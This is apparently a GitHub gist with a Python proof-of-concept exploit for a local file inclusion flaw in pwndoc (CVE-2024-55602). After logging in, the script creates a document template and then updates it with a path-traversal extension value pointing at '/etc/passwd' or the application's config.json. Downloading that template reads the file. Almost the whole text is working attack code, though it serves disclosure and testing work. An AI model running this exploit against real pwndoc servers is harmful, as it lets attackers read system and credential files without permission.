Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Last active December 10, 2024 17:49
PoC for pwndoc LFI vulnerability (CVE-2024-55602)
from base64 import b64encode
import random
import requests
HOST = "https://localhost:8443"
USERNAME, PASSWORD = "admin", "Password123"
FILE = "../src/config/config.json" # or "/etc/passwd"
s = requests.Session()
s.verify = False
def api(method, endpoint, data):
r = s.request(method, HOST + endpoint, data=data)
r.raise_for_status()
json = r.json()
assert json["status"] == "success"
return json["datas"]
def login(username, password):
data = {
"username": username,
"password": password
}
return api("POST", "/api/users/token", data)
def create_template(name, ext, content):
data = {
"name": name,
"ext": ext,
"file": b64encode(content).decode()
}
return api("POST", "/api/templates", data)
def update_template(id, name, ext, content):
data = {
"name": name,
"ext": ext,
"file": b64encode(content).decode()
}
return api("PUT", f"/api/templates/{id}", data)
def get_template(id):
r = s.get(HOST + f"/api/templates/download/{id}")
return r.content
if __name__ == "__main__":
# Must be authenticated user that can update and read templates
print(login(USERNAME, PASSWORD))
# Create template first, this extension parameter is safe
name = f"name{random.randint(0, 100000)}"
template = create_template(name, "docx", b"content")
id = template["_id"]
print("Created", template)
# Update template with extension containing LFI payload
if FILE.startswith("/"):
ext = f"/../../../../../../..{FILE}"
else:
ext = f"/../{FILE}"
try:
update_template(id, name, ext, b"new content")
except Exception as e:
print(e) # Expected 404 response, but still writes to the database
# Download the template again with LFI saved in database
print(get_template(id).decode())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment